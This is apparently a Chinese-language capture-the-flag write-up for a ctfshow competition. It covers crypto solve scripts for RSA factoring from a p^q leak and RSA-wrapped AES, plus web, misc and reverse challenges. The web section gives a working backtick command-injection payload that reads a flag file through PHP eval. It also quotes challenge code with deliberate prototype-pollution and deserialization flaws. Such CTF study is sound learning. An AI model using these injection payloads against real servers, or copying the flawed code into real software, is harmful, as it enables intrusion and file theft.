Crypto

奇怪的条形码

hgame2024过来的,一眼就是斜着看生成器生成的图片,从手机充电口往里看就能得到字符串
Y3Rmc2hvd3t4aWd1YmVpX21pc2NfZ3JhbV9oZXJlX2ZsYWd9

ctfshow{xigubei_misc_gram_here_flag}

简单密码

647669776d757e83817372816e707479707c888789757c92788d84838b878d9d
一开始我想的是两位一组,也确实如此,但我考虑到异或算法那边去了,就没做出来
然后赛后就拿到exp了,确实也是根据ctfshow{}这个flag头来下手的,只能说比赛的时候没好好观察分析

cipher = "647669776d757e83817372816e707479707c888789757c92788d84838b878d9d"
for i in range(0, len(cipher), 2):
print(int(cipher[i:i+2], 16), end=' ')
print("\n")
f = b'ctfshow{}'
for i in f:
print(i, end=' ')
print("\n")
flag = [100, 118, 105, 119, 109, 117, 126, 131, 129, 115, 114, 129, 110, 112, 116,
121, 112, 124, 136, 135, 137, 117, 124, 146, 120, 141, 132, 131, 139, 135, 141, 157]
for i in range(len(flag)):
print(chr(flag[i]-i-1), end='')

factor

hint = os.urandom(36)
tmp = bytes_to_long(hint)
leak1 = p^tmp
leak2 = q^tmp

leak1^leak2=p^q
已知p^q泄露,且知道n
给出脚本分解n

import sys
import math
def check_cong(k, p, q, n, xored=None):
kmask = (1 << k) - 1
p &= kmask
q &= kmask
n &= kmask
pqm = (p*q) & kmask
return pqm == n and (xored is None or (p ^ q) == (xored & kmask))
def extend(k, a):
kbit = 1 << (k-1)
assert a < kbit
yield a
yield a | kbit
def factor(n, p_xor_q):
tracked = set([(p, q) for p in [0, 1] for q in [0, 1]
if check_cong(1, p, q, n, p_xor_q)])
PRIME_BITS = int(math.ceil(math.log(n, 2)/2))
maxtracked = len(tracked)
for k in range(2, PRIME_BITS+1):
newset = set()
for tp, tq in tracked:
for newp_ in extend(k, tp):
for newq_ in extend(k, tq):
# Remove symmetry
newp, newq = sorted([newp_, newq_])
if check_cong(k, newp, newq, n, p_xor_q):
newset.add((newp, newq))
tracked = newset
if len(tracked) > maxtracked:
maxtracked = len(tracked)
print('Tracked set size: {} (max={})'.format(len(tracked), maxtracked))
# go through the tracked set and pick the correct (p, q)
for p, q in tracked:
if p != 1 and p*q == n:
return p, q

assert False, 'factors were not in tracked set. Is your p^q correct?'
def main():
if len(sys.argv) != 3:
print('Usage: xor_factor.py n p_xor_q', file=sys.stderr)
print('(give both numbers in decimal)', file=sys.stderr)
n = 145462084881728813723574366340552281785604069047381248513937024180816353963950721541845665931261230969450819680771925091152670386983240444354412170994932196142227905635227116456476835756039585419001941477905953429642459464112871080459522266599791339252614674500304621383776590313803782107531212756620796159703
e = 10463348796391625387419351013660920157452350067191419373870543363741187885528042168135531161031114295856009050029737547684735896660393845515549071092389128688718675573348847489182651631515852744312955427364280891600765444324519789452014742590962030936762237037273839906251320666705879080373711858513235704113
c = 60700608730139668338977678601901211800978306010063875269252006068222163102100346920465298044880066999492746508990629867396189713753873657197546664480233269806308415874191048149900822050054539774370134460339681949131037133783273410066318511508768512778132786573893529705068680583697574367357381635982316477364
leak1 = 13342820281239625174817085182586822673810894195223942279061039858850534510679297962596800315875604798047264337469828123370586584840078728059729121435462780
leak2 = 10901899434728393473569359914062349292412269512201554924835672710780580634465799069211035290729536290605761024818770843901501694556825737462457471235151530
p_xor_q = leak1 ^ leak2
p, q = factor(n, p_xor_q)
phi = (p-1)*(q-1)
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
if __name__ == '__main__':
main()

给你d又怎样

题目

from Crypto.Util.number import *
from gmpy2 import *

flag="ctfshow{***}"
m=bytes_to_long(flag.encode())
e=65537
p=getPrime(128)
q=getPrime(128)
n=p*q
phin=(p-1)*(q-1)
d=inverse(e,phin)
c=pow(m,e,n)
print("c=",c)
print("hint=",pow(n,e,c))
print("e=",e)
print("d=",d)
"""
c= 48794779998818255539069127767619606491113391594501378173579539128476862598083
hint= 7680157534215495795423318554486996424970862185001934572714615456147511225105
e= 65537
d= 45673813678816865674850575264609274229013439838298838024467777157494920800897
"""

逆天,根据hint=pow(n,e,c)得到的n,应该不是我们题目里面的n
后面才发现,这样得出来的n<c,但这不成立的,根据rsa算法,n>c,所以hint这里解出来的nn-c,因为这里的n会比c小(感觉有点牵强,但就是这样的)

from Crypto.Util.number import *
c = 48794779998818255539069127767619606491113391594501378173579539128476862598083
hint = 7680157534215495795423318554486996424970862185001934572714615456147511225105
e = 65537
d = 45673813678816865674850575264609274229013439838298838024467777157494920800897
cp = 6091
cq = c//cp
cd = inverse(e, (cp-1)*(cq-1))
n = pow(hint, cd, c)+c
print(long_to_bytes(pow(c, d, n)))

混合密码体系

题目

# 库
from Crypto.Util.number import bytes_to_long,getPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# 对称加密
flag = b'ctfshow{***}' # 密文,隐藏
key = b'flag{***}' # 会话密钥,隐藏
iv = b'flag{1fake_flag}' # AES偏移向量,已知
# 对明文进行填充,使其长度符合AES加密的要求
padded_plaintext = pad(flag, AES.block_size)

# 创建AES加密对象
cipher = AES.new(key, AES.MODE_CBC, iv)

# 加密
ciphertext = cipher.encrypt(padded_plaintext)

# 加密后的文本通常是字节串,转成整数便于进行会话密钥的RSA加密
c1 = bytes_to_long(ciphertext)

print(f'c1 = {c1}')

# 非对称加密
m = bytes_to_long(key)
e = 0x10001
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m,e,n)
print(f'p = {p}')
print(f'q = {q}')
print(f'n = {n}')
print(f'c2 = {c}')
# print("hint:key需要转成字节流也就是b''")

'''
c1 = 10274623386006297478525964130173470046355982953419353351509177330015001060887455252482567718546651504491658563014875
p = 126682770761631193509957156425049279522830651950325320826580754739365086374362604934854454428815835196844469535588686149210573266628767888593088817059600076401582225549728184309047483547810100015820325082976781284679340880386138390518973395696206374336712856387090369022746536868747455939074262253452873845903
q = 99825079362327808334563489684167271427241139432727401182808888165552821217781929397837262324242177528386988701584385208395369790542025175917752058047649096340776854252623173162664426065810683048016574420043010318337693586527652970534982946701493024718805916479479658257730226388868060010370893747360166996939
n = 12646117645119414744807511144503229609414192869007113075368323921021672404219693075011763838210400633721060798765473421092201704833591315689681668160927426685183273670665030724394172000165517517884654100267567861284096827407481978978840602383267875832034344793848710383473014512122260278131503985961857107838296047172582364612603344429943715046318283653354068887129071531081918798285138812386418361474496678248683513378861801570673376726388110813411011818940310547686977359605296489433805717348250520973842927175837164120905300831792358190183785344002217291207378744610039145999012939983693891188308725179098958690917
c2 = 5211902378262010726785508340196935051860438587769647187076059600864676774592415052428465708887047312982844957691943180258845015420187239772414768121857728821510440178906193308448250067671679439841031484589864038401572589752057423667532898133171822921282769652197139455317095891357335645435094243006629469245881345449943250189771998449015275390517315432969774421721243965028796050948747282387052634211032729131656214346307483397410725129682422969273915759947596313513270946529649661334582775282060624547405060499311618257517792321792697831000977711752728887999320311631022598717946355057272761740061999974856808147244
'''

简单的RSAAES

from Crypto.Cipher import AES
from Crypto.Util.number import *
c1 = 10274623386006297478525964130173470046355982953419353351509177330015001060887455252482567718546651504491658563014875
p = 126682770761631193509957156425049279522830651950325320826580754739365086374362604934854454428815835196844469535588686149210573266628767888593088817059600076401582225549728184309047483547810100015820325082976781284679340880386138390518973395696206374336712856387090369022746536868747455939074262253452873845903
q = 99825079362327808334563489684167271427241139432727401182808888165552821217781929397837262324242177528386988701584385208395369790542025175917752058047649096340776854252623173162664426065810683048016574420043010318337693586527652970534982946701493024718805916479479658257730226388868060010370893747360166996939
n = 12646117645119414744807511144503229609414192869007113075368323921021672404219693075011763838210400633721060798765473421092201704833591315689681668160927426685183273670665030724394172000165517517884654100267567861284096827407481978978840602383267875832034344793848710383473014512122260278131503985961857107838296047172582364612603344429943715046318283653354068887129071531081918798285138812386418361474496678248683513378861801570673376726388110813411011818940310547686977359605296489433805717348250520973842927175837164120905300831792358190183785344002217291207378744610039145999012939983693891188308725179098958690917
c2 = 5211902378262010726785508340196935051860438587769647187076059600864676774592415052428465708887047312982844957691943180258845015420187239772414768121857728821510440178906193308448250067671679439841031484589864038401572589752057423667532898133171822921282769652197139455317095891357335645435094243006629469245881345449943250189771998449015275390517315432969774421721243965028796050948747282387052634211032729131656214346307483397410725129682422969273915759947596313513270946529649661334582775282060624547405060499311618257517792321792697831000977711752728887999320311631022598717946355057272761740061999974856808147244
e = 0x10001
d = inverse(e, (p-1)*(q-1))
key = long_to_bytes(pow(c2, d, n))
print(key)
iv = b'flag{1fake_flag}'
cipher = AES.new(key, AES.MODE_CBC, iv)
c = long_to_bytes(c1)
flag = cipher.decrypt(c)
print(flag)

Web

CodeInject

代码注入,利用反引号实现命令注入

1=`ls /`
1=`cat /000f1ag.txt`

最后,题目加回显

 <?php

#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval("var_dump((Object)$_POST[1]);"); object(stdClass)#1 (1) { ["scalar"]=> string(46) "ctfshow{c318d482-cee3-4fa7-929d-0fdc749d7842} " }

tpdoor()

题目源码index.php,描述:public目录不可写

<?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;

class Index extends BaseController
{
protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
public function index($isCache = false , $cacheTime = 3600)
{

if($isCache == true){
$config = require __DIR__.'/../../config/route.php';
$config['request_cache_key'] = $isCache;
$config['request_cache_expire'] = intval($cacheTime);
$config['request_cache_except'] = [];
file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
return 'cache is enabled';
}else{
return 'Welcome ,cache is disabled';
}
}
}

发现可传入isCache参数,也得知是thinkPHP 8.0.3,但没能找到后门……

easy_polluted()

源码

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

index.html里提示了我们jinja
审一下,发现,我们需要得到app.secret_key
再看一眼题目,这特么是Python原型链污染
我们可以把app.secret_key污染掉
……

Ezzz_php()

题目

 <?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
}

substrstr函数,它接受一个字符串$data作为参数,目的是从一个字符串中提取方括号[]内的内容
传入?start=gxngxngxn,问题是怎么让filename变成我们想要的flag文件,怎么通过read构造payload呢?蹲一手wp

Misc

你是我的眼

题目给了一个jar包,java -jar BASE64 MISC.jar运行发现需要输入flag进行验证
尝试反编译jar包,借助jadx
https://github.com/skylot/jadx/releases/tag/v1.5.0
发现可疑字符串Q1RGU2hvd3tURVNUX0JBU0U2NF9CSUFOTUF9Xw-

base64解码得到CTFShow{TEST_BASE64_BIANMA}
其实可以用idea,但我不怎么会用

她说她想结婚()

7zip可以一直点,直接拿到flag.txt
图片里的你们耳朵是聋了吗?,有key在里面?
flag.txt的最后有空白内容,尝试过空白语言,没有用,二进制也没有
只能蹲一手了

二维码拼图()


。。。一张二维码玩这种东西?处理了一下,不太对劲,放弃了
我敲,看见晨曦上工具一个个还原了,虽然中间是空的
https://merri.cx/qrazybox/
最烦这种题目了,不想做()

SignIn()


lsb000有东西,CTF-Misc is like this. The question setter just needs to find a few unfamiliar knowledge points to fit in, but the contestants have to consider a lot of things
公式秒了()
给了两个hint
https://github.com/WeChatCV/opencv_3rdparty
根据第二个提示找到的工具,https://qrcode.antfu.me
但是,怎么找到跟二维码相关的东西呢?后续等wp

Reverse

pe

拖入IDA,就能看见flagCTFShow{i95f5417b37c5e8019372de8737fI}
或者010打开,修复dos头的开始为4D 5A,即最前面的两个字节,双击即可运行

问卷

尽情吐槽……
ctfshow{山高水长_少年们江湖再见}